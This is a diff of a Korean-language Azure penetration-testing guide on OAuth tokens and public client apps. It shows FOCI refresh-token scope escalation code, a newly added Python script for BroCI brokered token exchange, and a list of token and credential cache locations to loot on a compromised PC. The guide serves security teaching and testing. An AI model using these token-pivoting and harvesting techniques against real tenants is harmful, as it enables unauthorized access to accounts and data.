diff --git a/src/pentesting-cloud/azure-security/az-basic-information/az-tokens-and-public-applications.md b/src/pentesting-cloud/azure-security/az-basic-information/az-tokens-and-public-applications.md index 69b3141f6..a98323582 100644 --- a/src/pentesting-cloud/azure-security/az-basic-information/az-tokens-and-public-applications.md +++ b/src/pentesting-cloud/azure-security/az-basic-information/az-tokens-and-public-applications.md @@ -1,101 +1,100 @@ -# Az - 토큰 및 공개 애플리케이션 +# Az - Tokens & Public Applications {{#include ../../../banners/hacktricks-training.md}} -## 기본 정보 +## Basic Information -Entra ID는 Microsoft의 클라우드 기반 identity and access management(IAM) 플랫폼으로, Microsoft 365 및 Azure Resource Manager와 같은 서비스의 기본 인증(authentication) 및 권한 부여(authorization) 시스템 역할을 합니다. Azure AD는 리소스 액세스 관리를 위해 OAuth 2.0 authorization framework와 OpenID Connect (OIDC) authentication protocol을 구현합니다. +Entra ID는 Microsoft의 클라우드 기반 신원 및 접근 관리(ID and Access Management, IAM) 플랫폼으로, Microsoft 365 및 Azure Resource Manager와 같은 서비스에 대한 기본 인증 및 권한 부여 시스템 역할을 합니다. Azure AD는 리소스 접근 관리를 위해 OAuth 2.0 권한 부여 프레임워크와 OpenID Connect (OIDC) 인증 프로토콜을 구현합니다. ### OAuth **OAuth 2.0의 주요 참여자:** -1. **Resource Server (RS):** Resource Owner가 소유한 리소스를 보호합니다. -2. **Resource Owner (RO):** 일반적으로 보호된 리소스를 소유한 최종 사용자입니다. -3. **Client Application (CA):** Resource Owner를 대신하여 리소스에 접근하려는 애플리케이션입니다. -4. **Authorization Server (AS):** 클라이언트 애플리케이션을 인증하고 권한을 부여한 후 access token을 발급합니다. +1. **Resource Server (RS):** 리소스 소유자가 소유한 리소스를 보호합니다. +2. **Resource Owner (RO):** 일반적으로 보호된 리소스의 소유자인 최종 사용자입니다. +3. **Client Application (CA):** 리소스 소유자를 대신하여 리소스에 접근하려는 애플리케이션입니다. +4. **Authorization Server (AS):** 클라이언트 애플리케이션을 인증하고 권한을 부여한 후 접근 토큰을 발급합니다. **Scopes 및 Consent:** -- **Scopes:** 리소스 서버에 정의된 세분화된 권한으로, 액세스 수준을 지정합니다. -- **Consent:** Resource Owner가 특정 scopes로 애플리케이션에 리소스 접근 권한을 부여하는 과정입니다. +- **Scopes:** 리소스 서버에 정의된 세분화된 권한으로 접근 수준을 지정합니다. +- **Consent:** 리소스 소유자가 특정 scopes로 클라이언트 애플리케이션의 리소스 접근을 허용하는 과정입니다. **Microsoft 365 통합:** -- Microsoft 365는 IAM으로 Azure AD를 사용하며 여러 개의 "first-party" OAuth 애플리케이션들로 구성됩니다. -- 이러한 애플리케이션들은 깊게 통합되어 있고 종종 상호 의존적인 서비스 관계를 가집니다. -- 사용자 경험을 단순화하고 기능을 유지하기 위해 Microsoft는 이러한 first-party 애플리케이션들에 대해 "implied consent" 또는 "pre-consent"를 부여합니다. -- **Implied Consent:** 특정 애플리케이션은 명시적인 사용자 또는 관리자 승인 없이 특정 scopes에 대한 접근이 자동으로 **허용**됩니다. -- 이러한 사전 동의된 scopes는 일반적인 관리 인터페이스에서는 숨겨져 있어 사용자와 관리자에게 덜 가시적입니다. +- Microsoft 365는 IAM을 위해 Azure AD를 사용하며 여러 "first-party" OAuth 애플리케이션으로 구성됩니다. +- 이러한 애플리케이션은 깊게 통합되어 있고 종종 상호 의존적인 서비스 관계를 가집니다. +- 사용자 경험을 단순화하고 기능을 유지하기 위해 Microsoft는 이러한 first-party 애플리케이션에 대해 "implied consent" 또는 "pre-consent"를 부여합니다. +- **Implied Consent:** 일부 애플리케이션은 **명시적인 사용자 또는 관리자 승인 없이 특정 scopes에 대한 액세스가 자동으로 부여됩니다**. +- 이러한 사전 동의된 scopes는 일반적으로 사용자와 관리자 모두에게 숨겨져 있어 표준 관리 인터페이스에서 잘 보이지 않습니다. **클라이언트 애플리케이션 유형:** -1. **Confidential Clients:** -- 자체 자격증명(예: 비밀번호 또는 인증서)을 보유합니다. -- Authorization Server에 대해 **안전하게 스스로 인증할 수 있습니다.** -2. **Public Clients:** -- 고유한 자격증명이 없습니다. -- Authorization Server에 대해 안전하게 인증할 수 없습니다. -- **보안 영향:** Authorization Server가 애플리케이션의 정당성을 검증할 수 있는 메커니즘이 없기 때문에 공격자는 토큰을 요청할 때 public client 애플리케이션을 가장할 수 있습니다. +1. **Confidential Clients:** +- 자체 자격증명(예: 비밀번호 또는 인증서)을 보유합니다. +- Authorization Server에 대해 **자체를 안전하게 인증할 수 있습니다**. +2. **Public Clients:** +- 고유 자격증명을 보유하지 않습니다. +- Authorization Server에 대해 안전하게 인증할 수 없습니다. +- **보안적 의미:** Authorization Server가 애플리케이션의 정당성을 확인할 수 있는 메커니즘이 없으므로 공격자가 토큰 요청 시 public client 애플리케이션을 가장할 수 있습니다. -## 인증 토큰 +## Authentication Tokens -OIDC에서 사용되는 토큰 유형은 세 가지입니다: +OIDC에서 사용되는 **세 가지 토큰 유형**이 있습니다: -- [**Access Tokens**](https://learn.microsoft.com/en-us/azure/active-directory/develop/access-tokens)**:** 클라이언트가 리소스에 접근하기 위해 리소스 서버에 제시하는 토큰입니다. 특정 사용자, 클라이언트 및 리소스의 조합에만 사용할 수 있으며 기본적으로 만료될 때까지(기본값 1시간) 취소(revoke)할 수 없습니다. -- **ID Tokens:** 클라이언트가 Authorization Server로부터 받는 토큰으로, 사용자에 대한 기본 정보를 포함합니다. 특정 사용자와 클라이언트의 조합에 바인딩됩니다. -- **Refresh Tokens:** 클라이언트에게 access token과 함께 제공됩니다. 새로운 access 및 ID 토큰을 얻는 데 사용됩니다. 특정 사용자와 클라이언트의 조합에 바인딩되며 취소될 수 있습니다. 기본 만료 기간은 비활성 refresh token의 경우 **90일**이며, 활성 토큰의 경우 **만료 없음**(refresh token으로부터 새로운 refresh token을 얻을 수 있음). - -- refresh token은 특정 `aud`, 일부 **scopes**, 그리고 **tenant**에 연결되어야 하며, 해당 aud와 scopes(및 그 이상은 아님) 및 tenant에 대해서만 access token을 생성할 수 있어야 합니다. 그러나 **FOCI applications tokens**의 경우 이는 적용되지 않습니다. -- refresh token은 암호화되어 있으며 Microsoft만 복호화할 수 있습니다. +- [**Access Tokens**](https://learn.microsoft.com/en-us/azure/active-directory/develop/access-tokens)**:** 클라이언트는 이 토큰을 리소스 서버에 제시하여 **리소스에 접근**합니다. 특정 사용자, 클라이언트 및 리소스의 조합에 대해서만 사용 가능하며 만료될 때까지 **취소(revoke)**할 수 없습니다 — 기본 만료 시간은 1시간입니다. +- **ID Tokens**: 클라이언트가 Authorization Server로부터 받는 토큰으로, 사용자에 대한 기본 정보를 포함합니다. 특정 사용자 및 클라이언트의 조합에 **바인딩(bound)** 됩니다. +- **Refresh Tokens**: 접근 토큰과 함께 클라이언트에 제공되며, **새로운 access 및 ID 토큰을 얻기 위해** 사용됩니다. 특정 사용자와 클라이언트의 조합에 바인딩되며 취소될 수 있습니다. 비활성 refresh token의 기본 만료 기간은 **90일**이며, 활성 토큰의 경우 **만료가 없음**(refresh token에서 새로운 refresh token을 얻는 것이 가능)입니다. +- refresh token은 특정 `aud`, 일부 **scopes**, 그리고 **tenant**에 연동되어야 하며 해당 aud와 scopes(및 그 이상이 아닌)와 tenant에 대해서만 access token을 생성할 수 있어야 합니다. 그러나 **FOCI applications tokens**의 경우에는 그렇지 않습니다. +- refresh token은 암호화되어 있으며 Microsoft만 복호화할 수 있습니다. - 새로운 refresh token을 얻는다고 해서 이전 refresh token이 취소되지는 않습니다. > [!WARNING] -> conditional access에 대한 정보는 **JWT 내부에 저장**됩니다. 따라서 허용된 IP 주소에서 토큰을 요청하면 해당 **IP가 토큰에 저장**되고, 이후 그 토큰을 비허용 IP에서 사용하여 리소스에 접근할 수 있습니다. +> **conditional access**에 대한 정보는 **JWT** 내부에 **저장**됩니다. 따라서 **허용된 IP 주소에서 토큰을 요청**하면 해당 **IP**가 토큰에 **저장**되고, 이후 해당 토큰을 사용해 **허용되지 않은 IP에서도 리소스에 접근**할 수 있습니다. ### Access Tokens "aud" -"aud" 필드에 표시된 값은 로그인을 수행하는 데 사용된 **resource server(애플리케이션)** 입니다. +"aud" 필드에 표시된 항목은 로그인 수행에 사용된 **리소스 서버**(애플리케이션)입니다. -명령어 `az account get-access-token --resource-type [...]`는 다음 타입들을 지원하며, 각 타입은 결과 access token에 특정 "aud"를 추가합니다: +명령 `az account get-access-token --resource-type [...]`는 다음 타입을 지원하며, 각 타입은 결과 access token에 특정 "aud"를 추가합니다: > [!CAUTION] -> 다음은 `az account get-access-token`에서 지원하는 API의 예시일 뿐이며, 더 많은 API가 존재합니다. +> 다음은 `az account get-access-token`에서 지원하는 API들일 뿐이며 더 많은 API가 존재합니다.
aud examples -- **aad-graph (Azure Active Directory Graph API)**: 레거시 Azure AD Graph API(deprecated)에 접근하는 데 사용됩니다. 애플리케이션이 Azure Active Directory(Azure AD)의 디렉터리 데이터를 읽고 쓸 수 있게 합니다. +- **aad-graph (Azure Active Directory Graph API)**: 레거시 Azure AD Graph API(더 이상 권장되지 않음)에 접근하는 데 사용되며, 애플리케이션이 Azure Active Directory의 디렉터리 데이터를 읽고 쓸 수 있게 합니다. - `https://graph.windows.net/` -* **arm (Azure Resource Manager)**: Azure Resource Manager API를 통해 Azure 리소스를 관리하는 데 사용됩니다. 여기에는 가상 머신, 스토리지 계정 등 리소스를 생성, 업데이트, 삭제하는 작업이 포함됩니다. +* **arm (Azure Resource Manager)**: Azure Resource Manager API를 통해 Azure 리소스를 관리하는 데 사용됩니다. 여기에는 가상 머신, 스토리지 계정 등과 같은 리소스를 생성, 업데이트, 삭제하는 작업이 포함됩니다. - `https://management.core.windows.net/ or https://management.azure.com/` -- **batch (Azure Batch Services)**: 대규모 병렬 및 고성능 컴퓨팅 애플리케이션을 효율적으로 클라우드에서 실행할 수 있게 하는 Azure Batch에 접근하는 데 사용됩니다. +- **batch (Azure Batch Services)**: 병렬 대규모 및 고성능 컴퓨팅 애플리케이션을 클라우드에서 효율적으로 실행할 수 있게 해주는 Azure Batch에 접근하는 데 사용됩니다. - `https://batch.core.windows.net/` -* **data-lake (Azure Data Lake Storage)**: Azure Data Lake Storage Gen1과 상호작용하는 데 사용됩니다. 이는 확장 가능한 데이터 저장 및 분석 서비스입니다. +* **data-lake (Azure Data Lake Storage)**: 확장 가능한 데이터 저장 및 분석 서비스인 Azure Data Lake Storage Gen1과 상호작용하는 데 사용됩니다. - `https://datalake.azure.net/` -- **media (Azure Media Services)**: 비디오 및 오디오 콘텐츠에 대해 클라우드 기반 미디어 처리 및 전송 서비스를 제공하는 Azure Media Services에 접근하는 데 사용됩니다. +- **media (Azure Media Services)**: 비디오 및 오디오 콘텐츠에 대한 클라우드 기반 미디어 처리 및 제공 서비스를 제공하는 Azure Media Services에 접근하는 데 사용됩니다. - `https://rest.media.azure.net` -* **ms-graph (Microsoft Graph API)**: Microsoft 365 서비스 데이터를 위한 통합 엔드포인트인 Microsoft Graph API에 접근하는 데 사용됩니다. Azure AD, Office 365, Enterprise Mobility, Security 서비스 등에서 데이터와 인사이트에 접근할 수 있습니다. +* **ms-graph (Microsoft Graph API)**: Microsoft 365 서비스 데이터에 대한 통합 엔드포인트인 Microsoft Graph API에 접근하는 데 사용됩니다. Azure AD, Office 365, Enterprise Mobility 및 보안 서비스와 같은 서비스의 데이터와 인사이트에 접근할 수 있습니다. - `https://graph.microsoft.com` -- **oss-rdbms (Azure Open Source Relational Databases)**: MySQL, PostgreSQL, MariaDB와 같은 오픈 소스 관계형 데이터베이스 엔진을 위한 Azure Database 서비스에 접근하는 데 사용됩니다. +- **oss-rdbms (Azure Open Source Relational Databases)**: MySQL, PostgreSQL, MariaDB와 같은 오픈 소스 관계형 데이터베이스 엔진을 위한 Azure Database 서비스에 접근하는 데 사용됩니다. - `https://ossrdbms-aad.database.windows.net`
### Access Tokens Scopes "scp" -access token의 scope은 access token JWT 내부의 scp 키에 저장됩니다. 이러한 scopes는 access token이 무엇에 접근할 수 있는지를 정의합니다. +access token의 scope는 access token JWT 내부의 scp 키에 저장됩니다. 이들 scopes는 access token이 무엇에 접근할 수 있는지를 정의합니다. -JWT가 특정 API에 연락할 수 있도록 허용되어 있지만 요청된 작업을 수행할 scope가 없다면, 해당 JWT로는 그 작업을 수행할 수 없습니다. +JWT가 특정 API에 연락하는 것이 허용되더라도 요청된 동작을 수행할 수 있는 **scope가 없다면**, 해당 JWT로는 그 동작을 **수행할 수 없습니다**. -### Refresh 및 Access 토큰 예제 +### Get refresh & access token example ```python # Code example from https://github.com/secureworks/family-of-client-ids-research import msal @@ -149,28 +148,28 @@ pprint(new_azure_cli_bearer_tokens_for_graph_api) - **appid**: 토큰을 생성하는 데 사용된 Application ID - **appidacr**: Application Authentication Context Class Reference는 클라이언트가 어떻게 인증되었는지를 나타냅니다. public client의 경우 값은 0이고, client secret이 사용된 경우 값은 1입니다. -- **acr**: Authentication Context Class Reference 클레임은 최종 사용자 인증이 ISO/IEC 29115 요구사항을 충족하지 못한 경우 "0"입니다. +- **acr**: Authentication Context Class Reference 클레임은 최종 사용자 인증이 ISO/IEC 29115 요건을 충족하지 못했을 때 "0"입니다. - **amr**: Authentication method는 토큰이 어떻게 인증되었는지를 나타냅니다. 값이 “pwd”이면 비밀번호가 사용되었음을 의미합니다. -- **groups**: 주체(principal)가 속한 그룹을 나타냅니다. -- **iss**: issues는 토큰을 생성한 보안 토큰 서비스(security token service, STS)를 식별합니다. 예: https://sts.windows.net/fdd066e1-ee37-49bc-b08f-d0e152119b04/ (the uuid is the tenant ID) -- **oid**: 주체(principal)의 object ID +- **groups**: principal이 소속된 그룹을 나타냅니다. +- **iss**: iss는 토큰을 생성한 security token service(STS)를 식별합니다. e.g. https://sts.windows.net/fdd066e1-ee37-49bc-b08f-d0e152119b04/ (the uuid is the tenant ID) +- **oid**: principal의 object ID - **tid**: Tenant ID -- **iat, nbf, exp**: Issued at(발급 시), Not before(이 시간 이전에는 사용할 수 없음 — 보통 iat와 동일한 값), Expiration time(만료 시각). +- **iat, nbf, exp**: 발급 시간(iat), Not before(이 시간 이전에는 사용할 수 없음, 보통 iat와 동일), 만료 시간(exp). -## FOCI Tokens 권한 상승 +## FOCI Tokens Privilege Escalation -이전에는 refresh tokens가 생성될 때 사용된 **scopes**, 생성된 **application**, 그리고 생성된 **tenant**에 묶여야 한다고 언급했습니다. 이러한 경계 중 어느 하나라도 깨지면, 사용자가 액세스할 수 있는 다른 리소스 및 tenant에 대해 원래 의도보다 더 많은 scopes를 가진 access tokens를 생성할 수 있게 되어 권한 상승이 발생할 수 있습니다. +앞서 언급했듯이 refresh tokens는 생성될 때 사용된 **scopes**, 생성된 **application**, 그리고 생성된 **tenant**에 묶여야 합니다. 이러한 경계 중 어느 하나라도 무너진다면 사용자가 접근할 수 있는 다른 리소스와 테넌트에 대해 원래 의도보다 더 많은 scope를 가진 access token을 생성할 수 있게 되어 privilege escalation이 발생할 수 있습니다. -또한, [Microsoft identity platform](https://learn.microsoft.com/en-us/entra/identity-platform/)의 모든 refresh tokens에 대해 **이것이 가능**합니다( Microsoft Entra accounts, Microsoft personal accounts, 그리고 Facebook 및 Google과 같은 social accounts 포함). [**docs**](https://learn.microsoft.com/en-us/entra/identity-platform/refresh-tokens)에서는 다음과 같이 언급합니다: "Refresh tokens are bound to a combination of user and client, but **aren't tied to a resource or tenant**. A client can use a refresh token to acquire access tokens **across any combination of resource and tenant** where it has permission to do so. Refresh tokens are encrypted and only the Microsoft identity platform can read them." +더욱이, **this is possible with all refresh tokens** in the [Microsoft identity platform](https://learn.microsoft.com/en-us/entra/identity-platform/) (Microsoft Entra accounts, Microsoft personal accounts, and social accounts like Facebook and Google) because as the [**docs**](https://learn.microsoft.com/en-us/entra/identity-platform/refresh-tokens) mention: "Refresh tokens are bound to a combination of user and client, but **aren't tied to a resource or tenant**. A client can use a refresh token to acquire access tokens **across any combination of resource and tenant** where it has permission to do so. Refresh tokens are encrypted and only the Microsoft identity platform can read them." -또한 FOCI applications는 public applications이므로 서버에 인증할 때 **no secret is needed** 합니다. +또한, FOCI applications는 public applications이므로 서버에 인증하기 위해 **no secret is needed**합니다. -보고된 알려진 FOCI clients는 [**original research**](https://github.com/secureworks/family-of-client-ids-research/tree/main)에 보고되어 있으며, [**found here**](https://github.com/secureworks/family-of-client-ids-research/blob/main/known-foci-clients.csv)에서 확인할 수 있습니다. +그렇다면 [**original research**](https://github.com/secureworks/family-of-client-ids-research/tree/main)에서 보고된 알려진 FOCI clients는 [**found here**](https://github.com/secureworks/family-of-client-ids-research/blob/main/known-foci-clients.csv)에서 확인할 수 있습니다. -### 다른 scope 요청하기 +### 다른 scope 얻기 -이전 예제 코드와 이어서, 이 코드에서는 다른 scope에 대한 새 토큰을 요청합니다: +이전 예제 코드를 이어, 이 코드에서는 다른 scope에 대한 새 토큰을 요청합니다: ```python # Code from https://github.com/secureworks/family-of-client-ids-research azure_cli_bearer_tokens_for_outlook_api = ( @@ -203,30 +202,361 @@ scopes=["https://graph.microsoft.com/.default"], # How is this possible? pprint(microsoft_office_bearer_tokens_for_graph_api) ``` +## NAA / BroCI (Nested App Authentication / Broker Client Injection) + +A BroCI refresh tokens는 기존 refresh token을 추가 브로커 파라미터와 함께 사용하여 다른 신뢰된 first-party 앱으로서 토큰을 요청하는 브로커드 토큰 교환 패턴이다. + +이러한 refresh tokens는 해당 브로커 컨텍스트에서 발급되어야 하며(일반적인 refresh token은 보통 BroCI refresh token으로 사용할 수 없다). + +### Goal and purpose + +BroCI의 목적은 broker-capable 앱 체인에서 유효한 사용자 세션을 재사용하고 다른 신뢰된 앱/리소스 쌍에 대한 토큰을 요청하는 것이다. 따라서 원래 토큰에서 권한을 상승시키는 것이 가능해진다. + +공격 관점에서, 이는 중요하다. 왜냐하면: + +- 표준 refresh 교환으로 접근할 수 없는 사전 동의된 first-party 앱 경로를 열 수 있다. +- 넓은 delegated 권한을 가진 앱 아이덴티티로 하여금 고가치 API(예: Microsoft Graph)에 대한 access tokens를 반환할 수 있다. +- 고전적인 FOCI client switching을 넘어선 인증 후(post-authentication) 토큰 피벗 기회를 확장한다. + +NAA/BroCI refresh token에서 변경되는 것은 토큰의 가시적 형식이 아니라, 브로커된 리프레시 동작 동안 Microsoft가 검증하는 **issuance context**와 브로커 관련 메타데이터이다. + +NAA/BroCI 토큰 교환은 일반적인 OAuth refresh 교환과 **같지 않다**. + +- 일반적인 refresh token(예: device code flow를 통해 얻은)은 보통 표준 `grant_type=refresh_token` 작업에 대해 유효하다. +- BroCI 요청은 추가 브로커 컨텍스트(`brk_client_id`, 브로커 `redirect_uri`, 및 `origin`)를 포함한다. +- Microsoft는 제시된 refresh token이 일치하는 브로커드 컨텍스트에서 발급되었는지 검증한다. +- 따라서 많은 "정상" refresh token은 BroCI 요청에서 `AADSTS900054`("Specified Broker Client ID does not match ID in provided grant")와 같은 오류로 실패한다. +- 일반적으로 정상적인 refresh token을 코드로 BroCI 유효한 토큰으로 "변환"할 수 없다. +- 호환 가능한 brokered flow에서 이미 발급된 refresh token이 필요하다. + +Check the web **** to find BroCI configured apps an the trust relationships they have. + + +### Mental model + +BroCI를 다음과 같이 생각하라: + +`user session -> brokered refresh token issuance -> brokered refresh call (brk_client_id + redirect_uri + origin) -> access token for target trusted app/resource` + +그 브로커 체인의 어느 부분이라도 일치하지 않으면, 교환은 실패한다. + +### Where to find a BroCI-valid refresh token + +실용적인 방법 하나는 브라우저 포털 트래픽 수집이다: + +1. Sign in to `https://entra.microsoft.com` (or Azure portal). +2. Open DevTools -> Network. +3. Filter for: +- `oauth2/v2.0/token` +- `management.core.windows.net` +4. Identify the brokered token response and copy `refresh_token`. +5. Use that refresh token with matching BroCI parameters (`brk_client_id`, `redirect_uri`, `origin`) when requesting tokens for target apps (for example ADIbizaUX / Microsoft_Azure_PIMCommon scenarios). + +### Common errors + +- `AADSTS900054`: refresh token 컨텍스트가 제공된 브로커 튜플 (`brk_client_id` / `redirect_uri` / `origin`)과 일치하지 않거나 토큰이 브로커드 포털 흐름에서 온 것이 아니다. +- `AADSTS7000218`: 선택된 클라이언트 흐름이 confidential credential (`client_secret`/assertion)을 기대한다. 이는 종종 device code를 non-public client와 함께 시도할 때 관찰된다. + +
+Python BroCI refresh helper (broci_auth.py) +```python +#!/usr/bin/env python3 +""" +Python implementation of EntraTokenAid Broci refresh flow. + +Equivalent to Invoke-Refresh in EntraTokenAid.psm1 with support for: +- brk_client_id +- redirect_uri +- Origin header + +Usage: +python3 broci_auth.py --refresh-token "" + +How to obtain a Broci-valid refresh token (authorized testing only): +1) Open https://entra.microsoft.com and sign in. +2) Open browser DevTools -> Network. +3) Filter requests for: +- "oauth2/v2.0/token" +- "management.core.windows.net" +4) Locate the portal broker token response and copy the "refresh_token" value +(the flow should be tied to https://management.core.windows.net//). +5) Use that token with this script and Broci params: + +python3 broci_auth.py \ +--refresh-token "" \ +--client-id "74658136-14ec-4630-ad9b-26e160ff0fc6" \ +--tenant "organizations" \ +--api "graph.microsoft.com" \ +--scope ".default offline_access" \ +--brk-client-id "c44b4083-3bb0-49c1-b47d-974e53cbdf3c" \ +--redirect-uri "brk-c44b4083-3bb0-49c1-b47d-974e53cbdf3c://entra.microsoft.com" \ +--origin "https://entra.microsoft.com" \ +--token-out +""" + +import argparse +import base64 +import datetime as dt +import json +import re +import sys +import urllib.error +import urllib.parse +import urllib.request +from typing import Any + + +GUID_RE = re.compile( +r"^[0-9a-fA-F]{8}-[0-9a-fA-F]{4}-[0-9a-fA-F]{4}-[0-9a-fA-F]{4}-[0-9a-fA-F]{12}$" +) +OIDC_SCOPES = {"offline_access", "openid", "profile", "email"} + + +def resolve_api_scope_url(api: str, scope: str) -> str: +""" +Match Resolve-ApiScopeUrl behavior from the PowerShell module. +""" +if GUID_RE.match(api): +base_resource = api +elif api.lower().startswith("urn:") or "://" in api: +base_resource = api +else: +base_resource = f"https://{api}" + +base_resource = base_resource.rstrip("/") + +resolved: list[str] = [] +for token in scope.split(): +if not token.strip(): +continue +if "://" in token: +resolved.append(token) +elif token.lower().startswith("urn:"): +resolved.append(token) +elif token in OIDC_SCOPES: +resolved.append(token) +elif GUID_RE.match(token): +resolved.append(f"{token}/.default") +else: +normalized = ".default" if token in {"default", ".default"} else token +resolved.append(f"{base_resource}/{normalized}") + +return " ".join(resolved) + + +def parse_jwt_payload(jwt_token: str) -> dict[str, Any]: +parts = jwt_token.split(".") +if len(parts) != 3: +raise ValueError("Invalid JWT format.") +payload = parts[1] +padding = "=" * ((4 - len(payload) % 4) % 4) +decoded = base64.urlsafe_b64decode((payload + padding).encode("ascii")) +return json.loads(decoded.decode("utf-8")) + + +def refresh_broci_token( +refresh_token: str, +client_id: str, +scope: str, +api: str, +tenant: str, +user_agent: str, +origin: str | None, +brk_client_id: str | None, +redirect_uri: str | None, +disable_cae: bool, +) -> dict[str, Any]: +api_scope_url = resolve_api_scope_url(api=api, scope=scope) + +headers = { +"User-Agent": user_agent, +"X-Client-Sku": "MSAL.Python", +"X-Client-Ver": "1.31.0", +"X-Client-Os": "win32", +"Content-Type": "application/x-www-form-urlencoded", +} +if origin: +headers["Origin"] = origin + +body: dict[str, str] = { +"grant_type": "refresh_token", +"client_id": client_id, +"scope": api_scope_url, +"refresh_token": refresh_token, +} +if not disable_cae: +body["claims"] = '{"access_token": {"xms_cc": {"values": ["CP1"]}}}' +if brk_client_id: +body["brk_client_id"] = brk_client_id +if redirect_uri: +body["redirect_uri"] = redirect_uri + +data = urllib.parse.urlencode(body).encode("utf-8") +token_url = f"https://login.microsoftonline.com/{tenant}/oauth2/v2.0/token" +req = urllib.request.Request(token_url, data=data, headers=headers, method="POST") + +try: +with urllib.request.urlopen(req) as resp: +raw = resp.read().decode("utf-8") +except urllib.error.HTTPError as e: +err_raw = e.read().decode("utf-8", errors="replace") +try: +err_json = json.loads(err_raw) +short = err_json.get("error", "unknown_error") +desc = err_json.get("error_description", err_raw) +raise RuntimeError(f"{short}: {desc}") from None +except json.JSONDecodeError: +raise RuntimeError(f"HTTP {e.code}: {err_raw}") from None + +tokens = json.loads(raw) +if "access_token" not in tokens: +raise RuntimeError("Token endpoint response did not include access_token.") +return tokens + + +def main() -> int: +parser = argparse.ArgumentParser( +description="Broci refresh flow in Python (EntraTokenAid Invoke-Refresh equivalent)." +) +parser.add_argument("--refresh-token", required=True, help="Refresh token (required).") +parser.add_argument( +"--client-id", +default="04b07795-8ddb-461a-bbee-02f9e1bf7b46", +help="Client ID (default: Azure CLI).", +) +parser.add_argument( +"--scope", +default=".default offline_access", +help="Scopes (default: '.default offline_access').", +) +parser.add_argument( +"--api", default="graph.microsoft.com", help="API resource (default: graph.microsoft.com)." +) +parser.add_argument("--tenant", default="common", help="Tenant (default: common).") +parser.add_argument( +"--user-agent", +default="python-requests/2.32.3", +help="User-Agent sent to token endpoint.", +) +parser.add_argument("--origin", default=None, help="Optional Origin header.") +parser.add_argument( +"--brk-client-id", default=None, help="Optional brk_client_id (Broci flow)." +) +parser.add_argument( +"--redirect-uri", default=None, help="Optional redirect_uri (Broci flow)." +) +parser.add_argument( +"--disable-cae", +action="store_true", +help="Disable CAE claims in token request.", +) +parser.add_argument( +"--token-out", +action="store_true", +help="Print access/refresh tokens in output.", +) +parser.add_argument( +"--disable-jwt-parsing", +action="store_true", +help="Do not parse JWT claims.", +) + +args = parser.parse_args() + +print("[*] Sending request to token endpoint") +try: +tokens = refresh_broci_token( +refresh_token=args.refresh_token, +client_id=args.client_id, +scope=args.scope, +api=args.api, +tenant=args.tenant, +user_agent=args.user_agent, +origin=args.origin, +brk_client_id=args.brk_client_id, +redirect_uri=args.redirect_uri, +disable_cae=args.disable_cae, +) +except Exception as e: +print(f"[!] Error: {e}", file=sys.stderr) +return 1 + +expires_in = int(tokens.get("expires_in", 0)) +expiration_time = (dt.datetime.now() + dt.timedelta(seconds=expires_in)).isoformat(timespec="seconds") +tokens["expiration_time"] = expiration_time + +print( +"[+] Got an access token and a refresh token" +if tokens.get("refresh_token") +else "[+] Got an access token (no refresh token requested)" +) + +if not args.disable_jwt_parsing: +try: +jwt_payload = parse_jwt_payload(tokens["access_token"]) +audience = jwt_payload.get("aud", "") +print(f"[i] Audience: {audience} / Expires at: {expiration_time}") +tokens["scp"] = jwt_payload.get("scp") +tokens["tenant"] = jwt_payload.get("tid") +tokens["user"] = jwt_payload.get("upn") +tokens["client_app"] = jwt_payload.get("app_displayname") +tokens["client_app_id"] = args.client_id +tokens["auth_methods"] = jwt_payload.get("amr") +tokens["ip"] = jwt_payload.get("ipaddr") +tokens["audience"] = audience +if isinstance(audience, str): +tokens["api"] = re.sub(r"/$", "", re.sub(r"^https?://", "", audience)) +if "xms_cc" in jwt_payload: +tokens["xms_cc"] = jwt_payload.get("xms_cc") +except Exception as e: +print(f"[!] JWT parse error: {e}", file=sys.stderr) +return 1 +else: +print(f"[i] Expires at: {expiration_time}") + +if args.token_out: +print("\nAccess Token:") +print(tokens.get("access_token", "")) +if tokens.get("refresh_token"): +print("\nRefresh Token:") +print(tokens["refresh_token"]) + +print("\nToken object (JSON):") +print(json.dumps(tokens, indent=2)) +return 0 + + +if __name__ == "__main__": +raise SystemExit(main()) +``` +
+ ## 토큰을 찾을 수 있는 위치 -공격자 관점에서, 예를 들어 피해자 PC가 침해되었을 경우 access and refresh tokens를 어디서 찾을 수 있는지 아는 것은 매우 중요합니다: +공격자 관점에서, 예를 들어 피해자의 PC가 침해되었을 때 access and refresh tokens를 어디서 찾을 수 있는지 아는 것은 매우 흥미롭다: -- **`/.Azure`** 안 -- **`azureProfile.json`**에는 과거에 로그인한 사용자에 대한 정보가 포함되어 있습니다 -- **`clouds.config contains`**는 구독에 대한 정보를 포함합니다 -- **`service_principal_entries.json`**에는 애플리케이션 자격증명(tenant id, clients and secret)이 들어 있습니다. Linux 및 macOS에서만 -- **`msal_token_cache.json`**에는 access tokens와 refresh tokens가 들어 있습니다. Linux 및 macOS에서만 -- **`service_principal_entries.bin`**과 msal_token_cache.bin은 Windows에서 사용되며 DPAPI로 암호화되어 있습니다 -- **`msal_http_cache.bin`**은 HTTP 요청 캐시입니다 +- **`/.Azure`** 내부 +- **`azureProfile.json`**에는 과거에 로그인한 사용자 정보가 포함되어 있다 +- **`clouds.config contains`** 구독 정보 +- **`service_principal_entries.json`**에는 애플리케이션 자격증명(tenant id, clients and secret)이 포함되어 있다. Linux & macOS에서만 +- **`msal_token_cache.json`**에는 access tokens와 refresh tokens가 포함되어 있다. Linux & macOS에서만 +- **`service_principal_entries.bin`** 및 msal_token_cache.bin은 Windows에서 사용되며 DPAPI로 암호화된다 +- **`msal_http_cache.bin`**은 HTTP 요청 캐시이다 - 로드: `with open("msal_http_cache.bin", 'rb') as f: pickle.load(f)` -- **`AzureRmContext.json`**에는 Az PowerShell을 사용한 이전 로그인에 대한 정보가 들어 있지만 자격증명은 포함되어 있지 않습니다 -- **`C:\Users\\AppData\Local\Microsoft\IdentityCache\*`** 안에는 사용자 DPAPI로 암호화된 여러 `.bin` 파일들이 있으며, 여기에는 **access tokens**, ID tokens 및 계정 정보가 들어 있습니다 -- **`C:\Users\\AppData\Local\Microsoft\TokenBroken\Cache\`** 안의 `.tbres` 파일들에서 base64로 인코딩되어 DPAPI로 암호화된 access tokens를 더 찾을 수 있습니다 -- Linux 및 macOS에서는 Az PowerShell(사용된 경우)에서 `pwsh -Command "Save-AzContext -Path /tmp/az-context.json"`을 실행하면 **access tokens, refresh tokens and id tokens**를 얻을 수 있습니다 -- Windows에서는 이것이 id tokens만 생성합니다 -- Linux 및 macSO에서 Az PowerShell 사용 여부는 `$HOME/.local/share/.IdentityService/`의 존재 여부로 확인할 수 있습니다(단, 